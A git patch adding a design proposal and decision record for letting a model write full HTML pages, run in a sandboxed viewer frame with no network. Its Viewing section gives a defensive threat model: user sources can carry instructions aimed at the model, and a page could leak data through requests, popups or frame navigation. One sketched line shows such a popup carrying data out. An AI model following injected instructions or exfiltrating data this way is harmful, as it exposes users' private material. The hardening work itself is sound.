From fe791adef76705043da592759ef5c9079c9afcb2 Mon Sep 17 00:00:00 2001
From: Anish Sarkar <104695310+AnishSarkar22@users.noreply.github.com>
Date: Wed, 21 Oct 2026 19:19:03 +0530
Subject: [PATCH] docs(proposals): web pages the model writes, for the agent
 and Studio

Proposes letting a model at the agent's bar write a web page as HTML,
through a new agent tool and skill and Studio's Web page button, run in
a viewer frame with no network. ADR 0066 records the decision.
---
 ...e-html-the-model-writes-without-network.md |  27 ++++
 docs/adr/README.md                            |   1 +
 docs/proposals/model-written-web-pages.md     | 140 ++++++++++++++++++
 3 files changed, 168 insertions(+)
 create mode 100644 docs/adr/0066-web-pages-are-html-the-model-writes-without-network.md
 create mode 100644 docs/proposals/model-written-web-pages.md

diff --git a/docs/adr/0066-web-pages-are-html-the-model-writes-without-network.md b/docs/adr/0066-web-pages-are-html-the-model-writes-without-network.md
new file mode 100644
index 0000000000..026415ae1c
--- /dev/null
+++ b/docs/adr/0066-web-pages-are-html-the-model-writes-without-network.md
@@ -0,0 +1,27 @@
+# ADR 0066: Web pages are HTML the model writes, run in a frame that has no network
+
+- **Status:** Proposed, with the [model-written web pages proposal](../proposals/model-written-web-pages.md)
+- **Date:** 2026-10-21
+- **Supersedes:** for Studio's html format with a model at the agent's bar, and for the agent's web pages, the rule in [ADR 0010](0010-studio-builders-not-sandboxes.md) that a model emits structured content and a builder renders it
+- **Source:** maintainer decision, 21 Oct 2026 (no permalink)
+
+## Context
+
+Studio's html format has the model return plain-text sections, escaped into a fixed template, so a page cannot carry a script ([ADR 0010](0010-studio-builders-not-sandboxes.md), [studio](../architecture/studio.md)). The agent uses the same path through `create_artifact`, so every page is unstyled text however capable the model. Word and PDF already split by the model's measured level: a model at the agent's bar writes a script, one below it Markdown for a builder ([model capabilities](../architecture/model-capabilities.md)). [ADR 0028](0028-model-written-code-runs-with-approval.md) lets model-written code run, and the agent's documents are model-written scripts ([ADR 0039](0039-document-scripts-run-without-approval.md)).
+
+A page is built from the user's sources, which can carry instructions aimed at the model. The viewer's frame has an opaque origin, so a script cannot reach the app, but it can still make requests, open popups and navigate itself, each of which can carry what the page read off the machine.
+
+## Decision
+
+- A web page may be HTML the model writes: any markup, CSS, script and inline SVG. The agent's pages are, at most 5 MB. Studio's are when `writes_script()` says the model writes the file, as for Word and PDF, at most 300 KB; below that, Studio keeps the template.
+- SurfSense stores a page as written, plus one CSP `<meta>`, and runs it only in a sandboxed frame.
+- A page has no network. Its CSP allows only inline script and style and `data:` or `blob:` images, fonts and media; the viewer's frame drops `allow-popups`; Electron refuses a subframe's navigation to another origin. No CDN and no font host is allowed, since a request's URL can carry data. This holds every html artifact, the template's included.
+- One design guide is read by both paths, the agent's skill and Studio's prompt.
+- Whether the template stays for models below the bar is decided by measuring the ladder's models on the HTML prompt.
+
+## Consequences
+
+- Pages can be designed, interactive and animated. The agent's are versioned, screenshotted and limited to three failed saves a turn; Studio's are checked for structure only, three attempts.
+- A page cannot load a library or web font; it inlines what it needs.
+- Links inside a page do not open from the viewer until a later change routes them through the app.
+- A model may write a poor or broken page. The agent sees its screenshots; Studio sees only the structural checks, as its Word scripts do.
diff --git a/docs/adr/README.md b/docs/adr/README.md
index 7f21beb197..e1d24db005 100644
--- a/docs/adr/README.md
+++ b/docs/adr/README.md
@@ -93,3 +93,4 @@ The Date is the day the decision was first written down. Source links are permal
 | 0063 | [A plugin's connection is a transport and one sign-in, detected from the server](0063-a-plugins-connection-is-a-transport-and-one-sign-in.md) | Accepted |
 | 0064 | [Agent runtimes reach plugins only through SurfSense's gateway, and never hold a plugin's credential](0064-agent-runtimes-reach-plugins-through-surfsenses-gateway.md) | Accepted |
 | 0065 | [A turn's plugin tools are sized by the model's window, not counted, and Claude Code searches its own](0065-a-turns-plugin-tools-are-sized-by-the-window-not-counted.md) | Accepted |
+| 0066 | [Web pages are HTML the model writes, run in a frame that has no network](0066-web-pages-are-html-the-model-writes-without-network.md) | Proposed |
diff --git a/docs/proposals/model-written-web-pages.md b/docs/proposals/model-written-web-pages.md
new file mode 100644
index 0000000000..0255bfaa93
--- /dev/null
+++ b/docs/proposals/model-written-web-pages.md
@@ -0,0 +1,140 @@
+---
+status: proposed
+code:
+  - surfsense_local/backend/modules/agent/tool_endpoint/
+  - surfsense_local/backend/modules/agent/skills/surfsense-html/
+  - surfsense_local/backend/modules/agent/previews/
+  - surfsense_local/backend/modules/artifacts/
+  - surfsense_local/backend/worker/studio/made_file/
+  - surfsense_local/backend/worker/studio/web/html/
+  - surfsense_local/electron/src/main/docx-snapshot/
+  - surfsense_local/frontend/src/features/studio/viewers/html-viewer.tsx
+  - surfsense_local/frontend/src/features/agent/
+---
+
+# Web pages the model writes
+
+> A web page becomes HTML the model writes itself, with its own CSS, script and inline SVG, on the two paths Word and PDF already have. In an agent thread the agent writes it, taught by a new skill, `surfsense-html`, and saves it as a versioned Studio artifact with a new tool, `surfsense_save_page`. Studio's Web page button splits as its Word button does: a model at the agent's bar writes the page in one call, and any other keeps today's template. The only limits are size and that a page cannot reach the network. Basic (Q&A) chats make no artifacts and do not change.
+
+Today both paths end in Studio's [html pipeline](../architecture/studio.md): the model returns a title and plain-text sections, and every value is escaped into a template with no style and no script, so the most capable models in the app produce an unstyled page. Word and PDF already let a strong model write the file: Studio's buttons through [`writes_script()`](../architecture/studio.md#word-and-pdf), the agent through [script documents](../architecture/agent.md#documents-the-agent-makes). Web pages follow the same split. The decision it rests on is [ADR 0066](../adr/0066-web-pages-are-html-the-model-writes-without-network.md).
+
+## Where a page comes from
+
+| | Word and PDF today | Web page with this |
+|---|---|---|
+| Basic (Q&A) chat | none | none |
+| Studio, model below the bar | Markdown, rendered by a builder | JSON sections, escaped into the template (unchanged) |
+| Studio, model at the bar | the model writes a script | the model writes the page |
+| Agent thread | `surfsense_render_document`: a script, versions, previews | `surfsense_save_page`: the page, versions, screenshots |
+
+Word needs a script because python-docx builds the file. A page is already the file, so nothing the model wrote runs on the machine; it runs only in the viewer's frame.
+
+## What changes
+
+| | Today | With this |
+|---|---|---|
+| Agent asks for a web page | `create_artifact(html)`, Studio's escaped template | writes `outputs/<name>.html`, then `surfsense_save_page` |
+| Who writes the markup | SurfSense's template | the agent: any HTML, CSS, script, inline SVG |
+| Versions | none; each call is a new page | v1, v2… on one page, as script documents |
+| What the agent sees after | "Studio started" | `Rendered artifact <id>, version <n>`, the page's text, and up to four screenshots |
+| Viewer frame | `sandbox="allow-scripts allow-popups"` | `allow-scripts` only, a no-network CSP, frame navigation blocked |
+| Studio's Web page button | escaped template for every model | the page written by a model at the bar; the template below it |
+| `create_artifact(html)` from the agent | starts a Studio job | refused, pointing at the skill and the tool, as Word is |
+
+## The path
+
+1. **Prompt.** [`prompts/agent.md`](../../surfsense_local/backend/modules/agent/prompts/agent.md) gains one line beside the documents line: for a web page, load `surfsense-html`, write the file under `outputs/`, save it with `surfsense_save_page`; to change it, edit the file and save with its `artifact_id`.
+2. **Skill.** `skills/surfsense-html/SKILL.md`, SurfSense's own text: the contract (one complete HTML document, everything inline, images as `data:` URIs, no network, at most 5 MB), grounding as the documents skill words it, editing, checking the screenshots, and the stop rule. It points at the [design guide](#the-design-guide) beside it for how a page looks and moves. opencode allows it by name in [`opencode_config.py`](../../surfsense_local/backend/modules/agent/opencode_config.py); Claude Code's `surfsense` plugin picks up any folder under `skills/` and rewrites tool names for it.
+3. **Write.** The agent writes the page with its own tools: opencode's, or Claude Code's `Write` and `Edit`, which its gate already holds to `outputs/`. A later change is an `Edit` of that file, not the whole page sent again as an argument.
+4. **Save.** `surfsense_save_page(path, title, artifact_id?)`, below.
+5. **Index.** The Studio job reads the stored page and indexes its text, as a made file's job does.
+6. **Screenshots.** Electron draws the page in a hidden window and the result carries up to four images.
+7. **View.** Studio's HTML viewer shows it in the hardened frame.
+
+## The tool
+
+`surfsense_save_page`, `waits=True`, wrapped by `stop_after_three_failures` with the renders' shared limit ([`failed_renders.py`](../../surfsense_local/backend/modules/agent/tool_endpoint/failed_renders.py)).
+
+- **`path`** is relative to the thread's folder and must resolve, links followed, inside `outputs/`, as Claude Code's gate holds writes ([`gate.py`](../../surfsense_local/backend/modules/agent/engines/claude_code/gate.py)). It ends in `.html` or `.htm`.
+- **Refused before anything is stored:** a path outside `outputs/` or missing; over 5 MB; not UTF-8; no markup; no embedding model chosen (indexing needs one, as every Studio path does). Each refusal is a tool error naming the fix. A refusal is not a failed run.
+- **Notes, not refusals:** each external URL in `src`, `href`, `@import` or `url()` is listed as "blocked by the viewer", as the hosted verifier did. Links (`<a href>`) are left out of the notes.
+- **Same title.** A call without `artifact_id` whose title matches a page this thread saved is refused naming that page's id, through [`same_title_documents.py`](../../surfsense_local/backend/modules/agent/tool_endpoint/same_title_documents.py), whose format check widens to `html`.
+- **Version.** v1 of a new page, or the next version of `artifact_id`'s root. Only a page this tool saved continues: a Studio-made page, or another format, is refused with "make a new page".
+- **Store.** The bytes are written at once, as [`made_file.py`](../../surfsense_local/backend/modules/artifacts/made_file.py)'s `keep_made_file` does, with the CSP `<meta>` (below) inserted as the first child of `<head>` (or a `<head>` added). The artifact's metadata holds `made_by: "save_page"`, the `version`, and `spec: {"kind": "html"}`; the HTML is the file, not a copy in metadata.
+- **Index.** Studio's job takes the made-file branch. [`made_file/pipeline.py`](../../surfsense_local/backend/worker/studio/made_file/pipeline.py) gains `html` beside `pdf`, `docx`, `pptx` and `xlsx`: its text comes from a new extractor on the standard library's `html.parser` that keeps headings, paragraphs, list items, table cells and `alt` text, drops `<script>`, `<style>` and `<template>`, and writes Markdown headings so the body chunks as other artifacts do.
+- **Wait and answer** as `render_document` does: up to 150 seconds inside the call's deadline, then the `Rendered artifact <id>, version <n>: <title>` line, the first 1,500 characters of the text, the notes, and the screenshots; or `Queued artifact…` if the index is still behind.
+
+## Screenshots
+
+[Previews](../architecture/agent.md#previews) for Word and decks already use an Electron queue: the API posts a request, Electron polls it, prints a page in a hidden, confined window and posts the PDF back. HTML is a new format on that queue with its own branch in Electron, because the snapshot page's own CSP (`script-src 'self'`) would stop the agent's script, and the artifact file route serves HTML as an attachment.
+
+- The snapshot router serves the request's page inline, `text/html`, with the same CSP as a response header, on the request-id route that Word's source files already use.
+- Electron loads it directly in the confined `docx-snapshot` partition, whose request filter already allows only the file being drawn. The window is 1,280 px wide, emulates `prefers-reduced-motion: reduce` through the debugger's `Emulation.setEmulatedMedia`, waits for `load` plus one second, then `capturePage` at the page's height, up to four viewport heights.
+- The PNG comes back on a new route beside `/pdf`, checked for the PNG signature. Python cuts it into at most four tiles of 1,280 by 1,000 and they go into the result as JPEGs through [`inline_images.py`](../../surfsense_local/backend/modules/agent/previews/inline_images.py), only when the model reads images, as now.
+- No Electron (Docker, tests without one), a timeout, or a failure: no images, and the reason, as a Word version without Electron gets.
+
+`capturePage` over `printToPDF` because a page is judged on screen: print media drops backgrounds and breaks a long page at arbitrary points.
+
+## Viewing
+
+The page runs, and it is built from the user's sources, which can carry instructions aimed at the model. A page that could reach the network could send what it read anywhere. The frame already has an opaque origin (no `allow-same-origin`), so it cannot touch the app. Three holes remain:
+
+- **Requests.** The sandbox does not stop `fetch`, `<img src>`, fonts or CSS `url()`. The stored page carries `<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data: blob:; font-src data:; media-src data: blob:; form-action 'none'; base-uri 'none'">`. The viewer inserts the same `<meta>` before setting `srcDoc` too, so an older or edited file is held as well. The downloaded copy carries it, so a browser holds it there.
+- **Popups.** `allow-popups` lets `window.open("https://…?d=…")` out, and no CSP directive covers it. The viewer drops it. Links in a page do not open from the viewer in this version.
+- **Navigating the frame itself.** A sandboxed frame may still set its own `location`, and the app's guard ([`index.ts`](../../surfsense_local/electron/src/main/index.ts), `denyAppWindows`) listens only to `will-navigate`, the main frame's. A `will-frame-navigate` handler refuses any subframe navigation to an origin other than the app's.
+
+Google Fonts, which the hosted viewer allowed, are not allowed: a stylesheet URL is itself a request that can carry data. A page uses system font stacks, or a font as a `data:` URI.
+
+## The design guide
+
+One file, `skills/surfsense-html/design.md`, is how every model-written page looks, and both paths read it: the agent opens it from its skill, and Studio's prompt for a model at the bar includes it whole. One file, so the two paths cannot drift apart. It covers a type scale, a readable measure, colour tokens with a dark scheme, responsive layout down to phone width, one `h1` and ordered headings, native controls with labels, visible focus, charts as inline SVG from figures the sources state, system font stacks, and motion (below). The API ships the skills folder already ([packaging](../architecture/packaging.md)); the worker's bundle gains this one file.
+
+## Motion
+
+The guide adapts the motion rules of [anatomy](https://github.com/wheresryan22/anatomy) (MIT), as rules, not its kit: motion is time-based (`requestAnimationFrame` timestamps, `dt` clamped), parts ease toward a target rather than snap, a loop stops when settled or off screen (`IntersectionObserver`), and under `prefers-reduced-motion: reduce` the page shows its final state and still answers input. Animate what carries meaning, a chart drawing in or a figure counting up, never every card. The agent's screenshots are taken with reduced motion on, so a page that only works animated shows the agent so.
+
+## Reading a page back
+
+`surfsense_read_document` gains the html kind: given a page's `artifact_id`, it returns the stored HTML in pages of at most 1,000 lines and 40,000 bytes, as it does a script ([`script_page.py`](../../surfsense_local/backend/modules/agent/tool_endpoint/script_page.py)), with the `artifact_id` to save to. The working file in `outputs/` is the usual place to edit; this is for when it is gone, or the page came from another turn's compaction.
+
+## The thread
+
+[`steps.py`](../../surfsense_local/backend/modules/agent/agent_threads/steps.py) adds the tool to `VERSION_STEPS`, so its step links the page as a render's does. The frontend's [`step-label.tsx`](../../surfsense_local/frontend/src/features/agent/step-label.tsx) gains its case ("Saved web page", "Saving web page…"), translated with the `translate` skill.
+
+## Studio's Web page button
+
+[`html/pipeline.py`](../../surfsense_local/backend/worker/studio/web/html/pipeline.py) chooses its path with `writes_script()` from [`strength.py`](../../surfsense_local/backend/worker/studio/office/document/strength.py), the same check Word and PDF use, read from the [measured levels](../architecture/model-capabilities.md): `agent` and `agent_limited` write the page; `studio_only` keeps the template; a model not measured writes the page when it is remote and keeps the template when it is served from this computer.
+
+- **A model at the bar** gets a new tier prompt: the contract of the skill without its tools, the design guide, Studio's grounding rules, and the user's focus. It returns one complete HTML document and nothing else.
+- **Checked as a save is,** without screenshots: UTF-8, markup, a closing `</html>` (a reply cut off at the output limit has none), and at most 300 KB, about the most one reply carries. A failed check goes back to the model with its reason, up to three attempts, as an Office script's does. After the third the job fails with that reason. It never falls back to the template, which would hide the failure.
+- **Stored** with the CSP `<meta>`, its text extracted as a saved page's is, and the page kept as the spec, `{"kind": "html", "text"}`, so the draft is v1 under the same `version` keys as Word's.
+- **Refine** sends the page and the instruction to the model and checks the reply the same way. Refine's window check applies: a page too long for the selected model's window is refused with its reason, as a Word spec is. **Regenerate** drafts again from the recorded source scope.
+- **Below the bar,** the JSON pipeline and its three prompts are unchanged.
+
+Whether the template is kept is measured, not assumed. The levels were set on document tasks, not pages. Once the HTML prompt exists, the [model ladder](../proposals/file-agent/08-model-ladder-results.md)'s models write the same set of pages, and each page is counted as passing when it passes the checks above and its screenshot shows the content laid out. If the `studio_only` models pass, the template and its prompts are deleted and every model writes the page. If `agent` models fail, the bar gains an HTML case before Studio's path ships.
+
+## Build order
+
+1. **Shared:** the viewer's hardening, the CSP insertion, the text extractor and the design guide. The hardening holds every html artifact, Studio's template pages included.
+2. **Agent path:** `surfsense_save_page`, the skill, screenshots, versions, and `read_document` for pages.
+3. **Studio's path at the bar:** the tier prompt, the checks and attempts, Refine and Regenerate; then the ladder measurement.
+
+## Not in this
+
+- Basic (Q&A) chats, which make no artifacts.
+- Libraries from a CDN. Bundling a few with the app, served from its own origin, is later work if pages need them.
+- Opening a page's links from the viewer. A later change can pass a clicked link to the app through `postMessage` for the app's own link rules.
+- A limit for small models. A model allowed into Agentic may write a poor page, as it may a poor script; the screenshots and the failure limit bound it.
+
+## Tests
+
+- `tests/integration/agent/test_page_tools.py`, beside `test_document_tools.py`: a page saved and listed with its version, the next version through `artifact_id`, each refusal, same title, a Studio page refused as a base, the CSP inserted, the notes, the text indexed without script, and `read_document` paging a page.
+- `test_previews.py` with a stand-in Electron: the page served inline with its CSP header, a PNG delivered and tiled, no Electron giving the reason.
+- Studio, with a stub model: a model at the bar gets the HTML prompt and one below it the JSON prompt; a cut-off page, an oversized one and one without markup sent back with their reasons; the third failure failing the job; the stored page carrying the CSP and its spec; Refine refused past the window.
+- `test_tool_endpoint.py`, `test_tool_registration.py`, `test_tool_names.py`, `test_skills_plugin.py`, `test_render_steps.py` for the listing, the names and the step.
+- Electron: the html branch's `capturePage` and reduced motion, and `will-frame-navigate` refusing an outside origin.
+- Frontend: the viewer's sandbox and inserted CSP.
+
+## Docs once built
+
+[`agent.md`](../architecture/agent.md) gains the tool, the skill and the HTML previews; [`studio.md`](../architecture/studio.md) gains the html format's two paths beside Word and PDF's; [`model-capabilities.md`](../architecture/model-capabilities.md) names the Web page button among what the levels decide; this proposal is deleted.